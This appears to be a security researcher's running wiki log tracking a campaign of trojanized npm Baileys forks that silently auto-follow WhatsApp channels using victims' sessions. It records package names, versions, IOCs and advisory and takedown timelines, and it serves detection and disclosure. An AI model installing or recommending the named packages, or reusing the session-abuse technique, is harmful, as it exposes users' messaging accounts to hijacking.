stream section.

October 21 one-hundred-and-sixty-third sweep follow-up: THE MUTABLE RAIL SPOKE, alannzxd/xclient/information.json MUTATED LIVE BETWEEN SWEEPS = THE @alannxd/baileys INSTALL PATH NOW SERVES OPERATOR-NEW CONTENT WITHOUT A VERSION BUMP

The 161st read the @alannxd/baileys 6.2.8 jsDelivr survivor and characterized the lane: no lifecycle hooks, banner + Telegram @alannxd + a client-side fetch of raw.githubusercontent.com/alannzxd/xclient/refs/heads/main/information.json printed as an update notice, the lupy4u/ishumdz remote-mutable-JSON rail, content filler at check. THIS SWEEP the rail was re-read and CHANGED: 200 37 B ["gaada info, intinya alan ganteng"] (Indonesian, roughly "here's some info, basically Alan is handsome"), sha 443361f5…, where the prior reads recorded different content, the ledger's FIRST observed mutation of this rail class between sweeps. What it means: (1) the operator is ALIVE on the other end, the repo is maintained, not a dead drop; (2) every install of a scope that pulled ≈1,466 downloads/week before the Oct-21 03:27Z seizure now renders attacker-chosen text with no registry event, no advisory trigger, no version bump, invisible to every registry-keyed detection lane; (3) the content at check is a JOKE, not a payload, recorded-not-execute, weaponization status UNCHANGED (the fetched string is printed by the tarball code, not executed). The one-letter alannxd/alannzxd handle pair persists; scope doc still holder-seized (0.0.1-security, modified 03:27:23Z). DURABLE: mutable-JSON rails must be monitored as content channels, not repo artifacts, commit-history watches on information.json-shaped files are the only detection that sees a mutation like this one. CDN re-check this sweep: jsDelivr 6.2.8 package.json still 200 = the flagged artifact SURVIVES ≈6 h post-seizure. Monitor: mutation cadence, string class shifts (beacon → instruction → payload-URL = the lupy4u escalation ladder), jsDelivr takedown lag. Sweep context → 163rd stream section.

October 21 one-hundred-and-sixty-fourth sweep follow-up: RAIL SELF-CAPTURE, alannzxd/xclient shows ONLY TWO commits, BOTH dated Feb-24 (Import from linux), the 163rd's observed content mutation is ABSENT from commit history = commit dates are attacker-writable; the durable rule flips from "watch commit history" to "content-hash sweeps are the only clock"

The 163rd's durable read said: watch commit history on information.json-shaped files, "the only detection that sees a mutation like this." The API contradicts the naive version of that rule: alannzxd/xclient carries exactly TWO commits (40515c66, c6161834), both committer-dated 2026-02-24, message Import from linux, repo pushed_at 2026-02-24T10:03:49Z, size 1 KB, yet this wiki HASH-DIFFED a real content change between the 161st and 163rd reads, and the current tree (information.json sha c14579f7) serves the 37 B joke string (sha256 443361f5…, unchanged at this sweep's re-read). The mutation therefore rode a commit whose metadata was back-dated (GIT_COMMITTER_DATE) or history was rewritten to the original two Feb-24 commits. DURABLE, corrected: GitHub commit timestamps are costume, same class as package-name costumes, mutation detection requires periodic content-hash capture (the sweep model itself), and a repo showing no commits AFTER an observed content change is a tradecraft signal in its own right. Defender rule restated: for mutable-JSON rails, alert on content-hash movement at your fetch cadence; never trust pushed_at/commit dates to bound WHEN an operator touched the file. @alannxd/baileys@6.2.8 jsDelivr artifact still 200 ≈8.5 h post-seizure; scope doc stays holder-only, re-arm negative.

October 21 one-hundred-and-sixty-sixth sweep follow-up: peptide-modify (MAL-2026-18123/GHSA-h643-5mcg-c726) = the 0.0.0-stage staging grammar's EIGHTH SIGHTING, and the registry time block preserves an APRIL exposure cohort the advisory never names: three real versions 1.0.4-1.0.6 dated 2026-04-13, purged before the Oct-21 holder re-creation

GHSA-h643-5mcg-c726 published 2026-10-21T15:41:59Z (critical, CVE-less, >= 0 blanket scope); npm holder seizure 15:44:01.908Z = ≈160 s AFTER the advisory (the GHSA-first birth-join grammar; MAL-2026-18123 minted the same minute with the alias AT BIRTH, importer tick 16:30:36Z). The registry time doc is again the forensic survivor: name created 2026-10-21T15:41:22Z (holder re-creation) yet per-version timestamps preserve 1.0.4 2026-04-13T08:04:58Z, 1.0.5 08:41:07Z, 1.0.6 15:38:54Z = the name lived ~191 days before enforcement saw it; every April-era install is covered by the >= 0 blanket but no report names the cohort. 1.0.4 tarball 404 (unrecoverable from npm proper); the surviving 0.0.0-stage stub, pulled and read by this wiki, is TWO files, package.json literally {"stub": true, "description": "Temporary package placeholder for staged publishing"}, tgz sha256 d29221d195306d42d6e47d37bbdb16041fa3ec4c59985839c86d6b03cc1a9ba8. That string's eighth sighting across four-plus distinct campaign surfaces (online-header, smwebserver, dzyclutch, documenclient/serpacksven, hardhat-init, captchetat, the Oct-12 @yudzxml staging re-arm, here), every pull a different tarball hash, identical wording = shared template or tooling; the hunt key stands: search the literal Temporary package placeholder for staged publishing across registry packages. Downloads last week 2 = dead-on-arrival disposition class (vs dzyclutch's 1,106/wk), the grammar travels across exposure scales. Monitor: whether the April cohort's sibling names (same publisher, same window) are discoverable by time-block sweep, jsDelivr/unpkg cache state for 1.0.x (jsDelivr answered a transient 503 at first probe, re-read), and the ninth sighting. Sweep context → 166th stream section.

October 27 233rd sweep follow-up: THE QUEUE SWOLLS TO 258, ossf #1674 "Add 258 malicious npm packages: PhantomSub Baileys forks (CyberXYZ research)", opened 21:49:18Z, 818 versions, every file a MAL-0000-<scope>-baileys.json placeholder draft

The campaign ledger this page has tracked since SafeDep's Aug-10 census (70 Baileys names + 15 libsignal impersonators) gains its largest single public batch: #1674 (reporter cyberxyz-security) adds 258 npm names / 818 versions, self-described as a companion to this wiki's standing #1666 (36 names, open ≈32 h) and claiming NONE appear in the SafeDep, Xygeni, or OX Security PhantomSub write-ups and NONE had an OSV record on Oct-27. The behavior text re-lands this page's own fingerprint: session-connect sends WhatsApp's w:mex FOLLOW query query_id 7871414976211147 for publisher-chosen channels using the installer's own authenticated session, no user signal, the exact query_id the wiki recorded on the whalibmob retraction analysis (#1670) and across the follow-campaign era = independent reconfirmation that the query_id, not the package name, is the campaign's durable hunt key. Structural reads: (1) under the 232nd's origin-scoped mint law, 258 human-curated MAL-0000- drafts mint NOTHING at open, every name is ADVISORY-invisible until merge, and 258 is past the scale where any human reviewer clears the queue before the abuse lane acts; (2) the abuse lane's demonstrated queue clock (+21 min to +5 h 46 m, two executions in ≈3.5 h today) is now pointed at the biggest batch on record here, a registry-side sweep of FOLLOW-query names is the predicted next move, and it will arrive BEFORE any OSV row exists; (3) running public ledger: SafeDep 85 + #1666 36 + #1674 258 = the campaign's documented inventory TRIPLED in twelve weeks while its mechanism never changed. Monitor: #1674 merge clock; OSV mint timing at merge vs queue clock (does 258 get batch-minted or drip); registry disposition of sampled names; whether the 7871414976211147 query_id ever lands in a GHSA description (the hunt-key mainstreaming test). Sweep context → 233rd stream section

November 6 237th sweep follow-up: THE CAMPAIGN'S LONGEST CONTINUOUS MINT RUN, 32 DISTINCT BAILEYS-FORK NAMES MINTED ACROSS EIGHT DAYS (Oct-29 → Nov-6), GHSAs STILL LANDING THIS MORNING (03:47Z)

The nine-day OSV walk (MAL-2026-18356-18719, +364 rows) carries 32 distinct Baileys-fork names, the first eight-day continuous mint run this campaign page has measured, from @chatunitycenter/baileys (18392, Oct-29) through @exclipz/baileys (18717), whose critical GHSA pair (9fv3 on @exclipz/baileys, 9j99 on the sibling @exclipz/bails) published 2026-11-06T03:47:30Z, this morning. Same-morning heads: rafael-bails, nishiki-bail, oktz-baileys (GHSA-wmf5), kurobails, the bail*/baileys name grammar still minting at full tempo. Structural reads: (1) the run is NOT queue-driven, #1674's 258-name batch sat UNMERGED and untouched for nine days while these 32 minted and GHSAs landed; the fork ecosystem is minting faster than every curation lane; (2) 12 of the 32 carried GHSA aliases at check, 20 read aliases None = the never-join asymmetry now standard on this lane; (3) per the Oct-20 ±2 min enforcement-wave grammar, the abuse lane's sweep of the new names is the predicted next event, a registry-side re-read of the 32 is this page's standing tripwire. Campaign ledger stays: SafeDep 85 + #1666 36 (MERGED Nov-5, minted same day) + #1674 258 (still open) + 32 self-minted = the largest documented inventory on record. Sweep context → 237th stream section.

November 10 238th sweep follow-up: THE QUEUE FINALLY ATE THE 258, ossf #1674 (PhantomSub Baileys batch) MERGED 2026-11-09T23:03:48Z AFTER ≈13 d OPEN, AND THE ENTIRE BATCH RE-STAMPED AT THE NEXT :15 TICK (MAL-2026-18803 @aboutdisz/baileys modified 23:15:20Z = +11 m 32 s; spot rows 18900/19000/19050 clustered 23:15:16-38Z)

The 237th's "the abuse lane outruns the queue" headline gets its counterweight inside four sweeps: the queue never died, it DELAYED. #1674's 257-file batch (Add 257 malicious npm packages: PhantomSub Baileys forks (CyberXYZ research)) sat unmerged Oct-27 → Nov-9 while 32 of its kind minted through the machine lane anyway; then one merge moved the whole ledger in ≈12 min, every row still wearing the placeholder published 2026-10-27 (the report-date-as-publish-time mint shape, third measurement). Durable read: for Baileys-fork consumers, the queue-lane advisories arrive ≈13 d LATE but ALL AT ONCE, a name absent from OSV is not clean, it may simply be queued; the merge-tick Nov-9 23:15Z is the clock to diff future modified clusters against. The batch rows remain aliases None at first read (never-join predicts they stay that way, watch the join clock, one alias kills the law). The campaign cadence continued through the window (@skycodee/baileys 18900 among the Nov-4 cohort). Monitor: ninth-tenth day mint cadence, whether any #1674 row EVER joins a GHSA, and whether the merge triggered registry seizure on any of the 258 (spot reads so far show none, queue-mint ≠ seizure, the 219th's lane-keyed law predicts the abuse lane still decides).

November 11 two-hundred-and-fortieth sweep follow-up: THE QUOTA CLOSURES, two Baileys reports CLOSED UNMERGED to free a PR slot, the libsignal-node lane mints INSIDE the dark streak

w0rmsign's Nov-3 re-file set (#1728 @ndikagantengg/baileys, #1730 @alexiddev/baileys, #1733 raiden-baileys, #1735 @lekzsync/baileys, #1737 @zhengliyoux/baileys) split under an account-level open-PR limit: #1728/#1730 CLOSED 2026-11-10T14:44Z with the keeper comment Closing temporarily to free an open-PR slot... the advisory branch is kept and this report will be re-filed shortly. All FIVE names read OSV query {} this sweep = ZERO rows in both ledgers; both closed packuments serve 200 (@ndikagantengg/baileys latest 7.0.7 frozen Nov-3, @alexiddev/baileys latest 1.0.1 frozen Nov-2). The queue lane's failure mode gains a THIRD grammar after delay (#1674, 13 days) and retraction (#1670/#1672): quota throttling, a DOS surface on curation that needs zero registry action. Disposition for both names is PENDING-RE-FILE, watch armed on w0rmsign re-opens.

Queue-merge clock, FOURTH measurement: #1729 (@zanxiky/baileys, row MAL-2026-19059) merged 05:13:56Z, re-stamped 05:30:04.768Z = +16 m 08 s, the :30 tick, four-for-four on tick-keying. Post-merge life continues: @zanxiky/baileys latest 1.1.0 and @yshtxxproject/baileys (19072, #1731 merged 06:46:05Z) latest 0.0.1 both 200 with zero registry action = advisory-full enforcement-invisible now stands on FOUR names. THE SECOND GRAMMAR MINTS: @fadelsm/libsignal-node (MAL-2026-19105/GHSA-7gq6-hj7j-wgh8, critical >= 0, holder-sealed 0.0.1-security +2 m 09 s) landed 01:29Z DURING the fourth dark read of the baileys-token streak watch; SafeDep's own watchlist always carried 112 libsignal-node names beside 4,250 baileys names; campaign membership NOT asserted (boilerplate advisory, no fork description read). Sweep context → 240th stream section

November 11 two-hundred-and-forty-first sweep follow-up: THE RAIDER WHO SHIPPED THROUGH ITS OWN ADVISORY: raiden-baileys (MAL-2026-19108) got its curated row when #1733 merged 04:11:09Z, AND THE PUBLISHER SHIPPED 2.2.3 ≈20 MIN BEFORE THAT MERGE; latest 2.2.3 installs TODAY, ZERO GHSA, 1,246 downloads/week

The campaign's per-name anatomy, complete in one record: born 2026-10-18T01:39:20Z (0.0.0-stage at creation, 2.1.0 +56 s), reported by w0rmsign (#1733, Nov-3), the OSV row carrying the campaign fingerprint verbatim: trojanized @whiskeysockets/baileys fork whose on-connect w:mex FOLLOW (query_id 7871414976211147, the standing hunt key) auto-subscribes victims to three HARDCODED newsletter JIDs (120363407277177688/120363407702752541/120363411769951302@newsletter). The eight-day queue window is the finding: the ladder kept climbing THROUGH the open PR and the unmerged advisory (2.1.4 Oct-31 → 2.2.0-2.2.2 Nov-6 → 2.2.3 at 03:51:15.844Z, +19 m 53 s before its own merge), and the row's versions[] froze at 2.1.7 = range-covered (introduced: 0) but enumeration-stale, a draft-time fossil. Enforcement at merge: packument 200, advised-rung tarballs 200, jsDelivr 200, zero GHSAs (affects= echo-checked) = advisory-full enforcement-invisible FIFTH specimen on this lane, first with live attacker shipping around the merge; 1,246 downloads/week measured = the victim flow this fork class actually collects. THE QUOTA LAW CLOSES PAUSE-NOT-DEATH: w0rmsign RE-FILED #1728 as #1768 (04:24:36Z), and opened two NEW names #1766 @ruthless-imperium/baileys (packument 200 latest 1.0.3, query {}) and #1767 carboniteapp (versions [] May skeleton, query {}); @alexiddev/baileys (#1730) still stands un-re-filed, zero-ledger, installable. Queue-merge clock FIFTH measurement: #1733 +3 m 56 s to the :15 tick, five for five. Sweep context → 241st stream section

November 11 two-hundred-and-forty-second sweep follow-up: THE MERGED NAMES LIVE AT SEVEN: the Nov-3 batch finished merging overnight, #1735 (@lekzsync/baileys) and #1737 (@zhengliyoux/baileys) both merged ≈04:15-04:21Z, both rode the 04:30:05 tick to curated rows, and BOTH still install today at 137 and 202 downloads/week with ZERO GHSAs

The quota-split five-report set (#1728/#1730/#1733/#1735/#1737, the 240th's closure and the 241st's re-files) is now fully dispositioned: three merged-with-curate-row-and-still-live (raiden-baileys 2.2.3 1,246 dl/wk, @lekzsync/baileys latest 1.0.5, @zhengliyoux/baileys latest 1.0.4), two still zero-ledger installable (@alexiddev/baileys latest 1.0.1 — #1730 closed, still not re-filed; @ndikagantengg/baileys latest 7.0.7 — re-filed as #1768, still open). Registry reads: @lekzsync born 0.0.0-stage 2026-10-30T05:23:44.692Z, 1.0.5 +2 m 08 s, modified never moved after the merge; @zhengliyoux stage 2026-10-27T08:59:45.169Z, ladder 1.0.2/1.0.3/1.0.4 over three days (Oct-27 → Oct-29 08:43Z), also untouched post-merge. Both rows (19109, 19115) carry the placeholder published 2026-11-03T14:18Z = the draft-authoring law (the reporter's date stamped as publish time), aliases None, versions[] = time[] at these two (no enumeration-fossil this specimen pair, the fossil law needs a live-shipping attacker like raiden).

GHSA lane: affects= echo-check 0 on BOTH names (and on @alexiddev, @ndikagantengg) = the campaign's advisory-full enforcement-invisible class stands at SEVEN names across two campaigns (zanxiky, yshtxxproject, sauruspro, eforms, raiden, lekzsync, zhengliyoux), the abuse lane's curated-merged catch count remains ZERO. The queue-merge clock table grows to SEVEN measurements — #1666 +15 min, #1674 +11.5 min, #1732 +11 m 31 s, #1729 +16 m 08 s, #1733 +3 m 56 s, #1735 +15 m 26 s, #1737 +8 m 30 s — every one landing on the :15/:30 importer tick.

Method capture for the campaign's watchers: this sweep's v1/query name-only reads answered {} for @lekzsync/@zhengliyoux rows that the same API served 200 directly; adding "ecosystem":"npm" returned them. Any campaign-wide "zero rows" census run WITHOUT the ecosystem field is a false zero on MAL- records.

November 11 two-hundred-and-forty-fourth sweep follow-up: THE ABUSE LANE CATCHES THE MERGED NAMES AT LAST: raiden-baileys, @lekzsync/baileys, @zhengliyoux/baileys ALL got critical GHSAs at the 06:32:34-35Z second, ≈2 h 10 m after their own merges, AND raiden-baileys shipped 2.2.4 +3 h 07 m AFTER its own advisory

Seven sweeps of the curated-merged-with-ZERO-GHSAs class ended in one one-second cohort burst: GHSA-47pm-q564-4v9p (raiden-baileys, > 0 + 0.0.0-stage + 2.1.0-2.1.7 exact rows), GHSA-phq5-43q8-5665 (@lekzsync/baileys, 0.0.0-stage + 1.0.5), GHSA-x376-jjvf-9hh3 (@zhengliyoux/baileys, 0.0.0-stage + 1.0.2-1.0.4), all critical, first_patched null, published 2026-11-11T06:32:34/35Z. Timing against the merges: #1733 merged 04:11:09Z → GHSA +2 h 21 m; #1735 04:14:39Z → +2 h 18 m; #1737 04:21:35Z → +2 h 11 m. And the raider keeps raiding: raiden-baileys 2.2.4 published 09:39:55.500Z, +3 h 07 m AFTER its own critical advisory, latest 2.2.4, every tarball 200 on registry+jsDelivr+unpkg = the draft-time fossil law's third specimen (GHSA rows stop at 2.1.7; 2.2.0-2.2.4 live in-range-unlisted; packument time[] 16 entries). Seizure follow-through: ZERO — all rungs installable, OSV rows 19108/19109/19115 STILL aliases None ≈4 h under their own bot-minted GHSAs = ARRIVAL AND JOIN ARE SEPARATE LAWS, new member of the never-join class, and the first whose GHSAs are bot-lane-minted (the 219th's mint-path law predicted seizure from ghsa-bot-lane records; these advised and did NOT seize — advise/seize are two more separate machineries). Downloads still running: raiden 1,246, lekzsync 117 (was 137), zhengliyoux 187 (was 202) dl/wk. The campaign law that needed correcting: the abuse lane's curated-merged catch was a RATE, not a property; seven ZERO reads were snapshots, and when the catch came it came as a 1 s triple covering the whole Nov-3 merged set. Sweep context → 244th stream section

November 11 two-hundred-and-forty-fifth sweep follow-up: THE CATCH LANE NEVER SLEPT, MY WATCH DID: @zanxiky/baileys, sauruspro-bail, @yshtxxproject/baileys have carried critical GHSAs SINCE Nov-10 06:31/09:31Z, ≈1-3 h after their own merges, while seven sweeps of this page quoted them as ZERO-GHSA specimens (RETRACTION)

The end-of-sweep advisory-head re-read (the 244th's self-capture law, first run) surfaced GHSA-43rp-v8rh-9333 (@zanxiky/baileys, critical, 2026-11-10T06:31:32Z, rows 0.0.0-stage+1.0.2+1.1.0), GHSA-7j35-x788-5m8x (sauruspro-bail, critical, 09:31:11Z, rows through 5.3.1) and GHSA-xq62-3m74-wjpp (@yshtxxproject/baileys, critical, 09:31:11Z) — a full day old. Merge→GHSA clocks complete the law the 244th opened: #1729 +1 h 17 m, #1731 +2 h 45 m, #1732 +2 h 42 m, joining the Nov-11 triple's +2 h 11 m-+2 h 21 m = six curated-merged campaign names, six catches, every one inside 1-3 h of its merge; the abuse lane's catch record is SIX FOR SIX, the "seven sweeps of zero" was a property of this wiki's echo-checks, which ran fresh only on the newest names while older zero quotes were carried unverified. THE CLASS SURVIVES ON ITS TRUE EVIDENCE, STRENGTHENED: advisories live, enforcement absent — @zanxiky 1.1.0 + sauruspro-bail 5.3.1 tarballs 200, downloads 245/229/1,551 dl/wk under critical advisories, joining raiden/lekzsync/zhengliyoux = SIX advisory-full enforcement-invisible specimens with REAL GHSAs; sauruspro's 1,551 dl/wk = the largest measured single-name victim flow on the campaign, larger than raiden. NEVER-JOIN DEEPENS: rows 19059/19072/19073 sit aliases None ≈29 h under their own bot-minted critical GHSAs, modified frozen Nov-10 = longest bot-advisored never-join specimens on record. Fourth Nov-10-wave member @erlanzz/baileys (GHSA-f8j3-x796-h5cm 13:24:57Z) is the bot-lane contrast: OSV 17440 alias AT BIRTH. AND THE RAIDER SHIPPED A THIRD RUNG THROUGH ITS OWN ADVISORY: raiden-baileys 2.2.5 11:09:34.888Z = +4 h 37 m past GHSA-47pm, latest 2.2.5, tarball 200 both CDNs, GHSA rows still stop at 2.1.7 = fossil widened to six unlisted rungs 2.2.0-2.2.5, downloads 1,172 still flowing. Detail lane: Corgea's PhantomSub post inventories the Nov-4-Nov-10 sixty-name advisory wave (naming raiden-baileys 2.2.2, sauruspro-bail 5.3.1, @erlanzz/baileys, @exclipz, @smart-dev-wa et al.) and frames the payload as runtime authenticated-session abuse, not install-time theft — vendor convergence with this page's w:mex FOLLOW ledger. Sweep context → 245th stream section

November 11 two-hundred-and-forty-eighth sweep follow-up: THE QUEUE ATE TWO MORE WHILE THE LEDGER SLEPT: #1769 names @xzvbailss/baileys (born 16:42:08Z, reported 18:00:24Z = reported at ONE HOUR THIRTY MINUTES OLD) + baileys-clean; both zero-ledger both-grammar, both installable; AND THE REPORTER DEMANDS A WITHDRAWN RECORD RESURRECTED — naileys (MAL-2026-4619, withdrawn May-26) still runs the follow code in all four published versions per the reporter, the registry agrees it lives (latest 0.5.4, tarballs 200), and only the query lane honors the withdrawal

Two more PhantomSub Baileys forks entered the ossf queue at 18:00:24Z (cyberxyz-security, #1769): @xzvbailss/baileys (rungs 1.0.0/5.0.0, 0.0.0-stage unlisted as payload-free; packument created 2026-11-11T16:42:08.785Z, latest 5.0.0, downloads lane still not found = born-today class, no fabricated counter — the 235th downloads-lane law re-lands) and baileys-clean (7.3.2, packument 200 since created 2026-06-25, 1 dl/wk). Both api.osv.dev/v1/query {} BOTH-grammar (the 242nd ecosystem-key law), both ZERO GHSA on the affects= lane (echo-checked, express control must-hit).

The lineage tells the story before any payload read: @xzvbailss' lib/Socket/luxu.js is byte-identical to the file in @poucode/baileys (MAL-2026-18873) and carries the literal "POUCODE", same publisher as the already-minted xzvbailss (MAL-2026-18702), repository field a Telegram link — the copy-forward family is minting forks of its own forks while curated rows for the parents sit aliases None for 37 hours. baileys-clean is the sweep's sharpest single object: its README CLAIMS "no hidden auto-follow" and documents an opt-in function (autoFollowOwnerChannels) that does not exist in the shipped code, while the code runs newsletterAutoFollowSilent self-invoking on connection.update === 'open' per the reporter's static read. A README that argues against the exact payload the package runs is a trust-claim inversion: trust-claims in documentation are attacker-authored text, never a control (the media-util-js-lib map-law's newest sibling). Payload claims are REPORTER-claimed, nothing executed by this wiki.

The withdrawal resurrection demand (naileys, MAL-2026-4619): withdrawn 2026-05-26T22:13:04Z after a named-queries false-positive re-review (the #1670-era taxonomy), and this sweep's three-lane verification says the name never left the world: v1/query → {} (query lane filters withdrawn, the 232nd law), GET /v1/vulns/ → 200 wearing withdrawn, modified 2026-11-09T23:15Z = touched at the #1674 cohort-merge tick then left standing, and npm → packument 200 latest 0.5.4, 0.5.1/0.5.6 tarballs 200. The reporter asserts the connection.update follow is still live in 0.5.1/0.5.2/0.5.4/0.5.6 today and offered a separate reassessment PR with evidence. This wiki does NOT adjudicate the withdrawal's correctness at capture (recorded evidence hash lib/Socket/newsletter.js a51334b333e25bd42e3a9f2bf7c9153044cd6e28a74be30298ab45a04776161c on the withdrawn row = the static re-read target for next sweep). Disposition: WITHDRAWN-RECORD-CHALLENGED — the ledger says dead, the direct lane says stamped, the registry says alive; when the three lanes disagree, the package is the only authority that matters to a victim. Sweep context → 248th stream section

November 12 two-hundred-and-fifty-fourth sweep follow-up: THE MERGE FALL-OUT IS A THREE-STATE PROBLEM: TWO OF TODAY'S FIVE CURATED ROWS LANDED ON baileys-FORK STEALERS THAT STILL INSTALL (@ruthless-imperium 985 dl/wk, @ndikagantengg 195 dl/wk, advised-rung tarballs 200), TWO LANDED ON NAMES THE REGISTRY ATE MONTHS AGO (superlib_ex3 eleven days dead, carboniteapp SIX MONTHS dead), AND THE QUEUE RELOADED WITHIN TWENTY MINUTES: w0rmsign filed #1771-#1774 at 06:10Z including the thirty-hour-unfiled @alexiddev/baileys

The curated lane worked exactly as designed between 05:19Z and 06:00Z — five merges, five OSV rows, every modified stamp on an importer tick (#1764 +10 m 39 s → 19149; #1766 +16 m 31 s → 19150; #1767 +11 m 23 s → 19151; #1768 +2 m 54 s → 19152; #1770 +9 m 19 s → 19147 re-stamp) — and the registry did not care: @ruthless-imperium/baileys latest 1.0.3 packument 200 + tarball 200 + 985 dl/wk, @ndikagantengg/baileys latest 7.0.7 packument 200 + tarball 200 + 195 dl/wk, both ZERO GHSA at read (affects= echo-checked, catch clock 1-3 h post-merge still open). Advisory-full enforcement-invisible adds TWO specimens; combined with the 245th's six, the class now stands at EIGHT campaign-adjacent names.

THE SLEEPER PAIR (a live advisory clock is not a live package, two more specimens): superlib_ex3 (19149) went whole-name unpublished 2026-11-06T18:03:49Z — ladder 0.0.0-stage→1.0.0 +1 m 16 s→1.0.1 +1 m 46 s, dead NINETY MINUTES after birth — while its row carries placeholder published 2026-11-08T01:30Z and merged 05:19Z today = the row was authored over a corpse ELEVEN DAYS after the wipe. carboniteapp (19151) is the extreme: born 2026-05-06T05:49:30Z, single rung 99.9.0, whole-name unpublished the same day 08:35Z, and its curated row arrived SIX MONTHS later — the longest sleeper gap on this wiki (beats strutil-helpers-core's ≈9.5 d by two orders of magnitude). Neither has files to seize; the rows exist to warn consumers of cached/transitive copies only. IOC note: 19149 carries x.exxcube.fr/postInstall; 19151 carries an EMPTY IOC block = a curated row can be a filing without analysis, quote the block, never assume it.

THE QUOTA RELOAD AND THE FORMATTING TAX: at 06:10:21-29Z w0rmsign filed FOUR PRs in eight seconds — #1771 @xzvbailss/baileys (re-file, the luxu.js/POUCODE-lineage name), #1772 elaina-baileys (NEW, latest 1.0.3, stage-stub born-today class), #1773 @alexiddev/baileys (the thirty-hour-un-re-filed 198 dl/wk name from #1730 — the un-filed window is the real victim window, file-latency now beats queue-latency as the exposure driver), #1774 @neodevxsadmd/baileys-api-neko (NEW, latest 2.0.3, stage stub, 51 dl/wk). Meanwhile #1769 (the @xzvbailss + baileys-clean pair) stayed OPEN after maintainer calebbrown pushed back at 05:45:56Z/05:46:27Z: strip the CyberXYZ read boilerplate from details, drop package links from references (they rot to 404/security-placeholder pages once yanked). A rejected formatting pass keeps names unled while the queue drains around them — @xzvbailss needed an INDIVIDUAL re-file to move, and baileys-clean now hangs on the pair PR's fate (tripwire: if re-files proceed without it, the trust-claim-inversion name is orphaned and must be re-filed). Registry state at filing: @xzvbailss latest 6.0.0 packument 200 (ladder moved again since the 248th's 5.0.0 — the family keeps shipping while unled), elaina-baileys/@neodevxsadmd both 200. Sweep context → 254th stream section

November 12 two-hundred-and-fifty-fifth sweep follow-up: THE CATCH LANE FIRED FIVE-FOR-FIVE AT ONE SECOND (06:30:28-29Z), 48-72 MINUTES BEHIND THE MERGES = THE FASTEST CURATED COHORT CATCH ON RECORD — AND NOTHING SEALED: @ruthless-imperium/baileys 1.0.3 and @ndikagantengg/baileys 7.0.7 tarballs re-probed 200 UNDER THEIR OWN BOT-MINTED CRITICALS at 985/195 dl/wk. The seal automaton ignores the bot's pen and obeys only its live-detect events

THE FIVE-GHSA SECOND (direct-ID verified, controls must-hit): GHSA-7c38-xq8m-xr7x @ruthless-imperium/baileys (critical, six exact-rung rows, 06:30:29Z), GHSA-mx6v-j9qw-pxcx @ndikagantengg/baileys (critical, eight rows, 06:30:28Z), GHSA-c87m-wh47-cqq5 superlib_ex3 (critical, 06:30:29Z — minted over a name the registry ate eleven days ago, the bot advising a corpse at full velocity), GHSA-3qjp-mvhh-w85g @rfewqa-fes/mnm-doc-mcp (critical, 06:30:29Z, name 404 on npm = advice for a name already gone), GHSA-cvmm-h8r9-4278 carboniteapp (critical, 06:30:29Z, six months dead). The 1-3 h catch law (245th) lands at its FLOOR: five-for-five at +48 m-+1 h 11 m past merge, four at one identical second. Enforcement-invisible is now EIGHT campaign names under live GHSAs with two fully installable: the advised-and-installable set survives its own catch because seizure is keyed to the ghsa-malware bot's LIVE-DETECT publish event, never to the advisories it writes over curated rows (the 247th's MIRROR-lane statement, now with its mechanism sharpened: bot-minted ≠ bot-detected).

THE affects= INDEX CLOCKS IN BEHIND ITS OWN PUBLISH: all five names answer affects= 0 at ≈08:3xZ while their GHSAs serve critical by direct ID; @alexiddev/baileys still 198 dl/wk #1773-unmerged at ≈2.5 h into the re-file queue; @xzvbailss/baileys packument 200 latest 6.0.0 unmoved (modified 19:16:42Z), downloads lane still not found (indexing-state class); elaina-baileys five rungs (0.0.0-stage + 1.0.0-1.0.3), created 2026-11-11T09:51:27Z, no OSV row either grammar — #1771-#1774 ALL OPEN zero merges; #1769 OPEN no post-pushback movement, baileys-clean orphan-risk persists. Sweep context → 255th stream section

November 12 two-hundred-and-fifty-eighth sweep follow-up: THE CAMPAIGN SHIPS WHILE THE PAPERWORK SITS: #1771-#1774 pass EIGHT AND A HALF HOURS unmerged (past the 254th cohort's thirty-one-minute drain), #1769 ages past twenty hours, and the downloads window closes with the queue-only quartet at 1,864 dl/wk installed while every lane that could warn a consumer reads silent

Reads ≈14:3xZ (258th sweep): all four w0rmsign PRs updated_at still frozen at their filing seconds (06:10:2xZ) = zero reviewer or bot touch in ≈8.4 h. The cyberxyz-security #1769 (@xzvbailss/baileys + baileys-clean) sits ≈20.5 h open on the formatting tax. Packuments unmoved this sweep: @xzvbailss latest 6.0.0 (four rungs incl. the 5.0.0→6.0.0 unled jump), elaina-baileys latest 1.0.3, @alexiddev latest 1.0.1, @neodevxsadmd latest 2.0.3; the Nov-5→11 downloads window has closed, its last published census: 931 + 695 + 180 + 58 = 1,864 dl/wk on four names carrying ZERO OSV rows and ZERO GHSA affects= rows. The next window's numbers are the exposure meter for another day of queue silence — read them at the 259th. GitHub affects= lane for the 254th's SIX advised names still answers 0 at ≈8 h post-mint (controls must-hit) = Dependabot blind eight hours on names the bot itself declared critical. Law re-lands with a number on it: queue-latency exposure is now measured at 8.4 h+ on four live names and 20.5 h+ on two more; file-latency remains the only clock the consumer can feel.

November 12 two-hundred-and-fifty-ninth sweep follow-up: THE SAME MACHINERY THAT SEIZED THESE NAMES IN UNDER THREE MINUTES ALSO SEALED A FRESH PHANTOMSUB-GRAMMAR PAIR WHILE BOTH KEPT THEIR OCTOBER TRAFFIC: diezy-libsignal-node + diezyxhao-baileys minted MAL-2026-19154/19155 alias-at-birth, packuments created 15:04:00Z/15:04:20Z and holder-sealed +2 m 13 s/+2 m 39 s, and the downloads lane answers 616 + 1,294 dl/wk for the closed Nov-5-Nov-11 window = traffic ran while the names were unadvised

Reads ≈16:3xZ (259th sweep): both packuments now [0.0.0-stage, 0.0.1-security], latest 0.0.1-security, maintainer: npm (the holder costume erases publisher data as always). The time[] maps are the only census of what shipped: diezy-libsignal-node carried ONE October rung (1.0.0, 2026-10-06T11:35:26.818Z), diezyxhao-baileys carried TWELVE (1.1.23 Oct-6 → 1.4.0 Oct-29, a normal-looking cadence now worn only by the time map). GHSAs GHSA-m3v8-j9w7-r4xv/GHSA-rg5m-xj29-j8gm critical >= 0, published 15:05:00Z, affects= 0 at read (inside the cohort's now-≥10.5 h Dependabot-blind window). Campaign kinship to PhantomSub NOT asserted — the -baileys/-libsignal-node grammar is the shared tell; payload never fetched, never executed. The pair joins the enforcement-invisible census differently: sealed AT birth, so the living traffic is entirely PRE-advisory history now — quote last-week and time[] together (247th law). Sweep context → 259th stream section

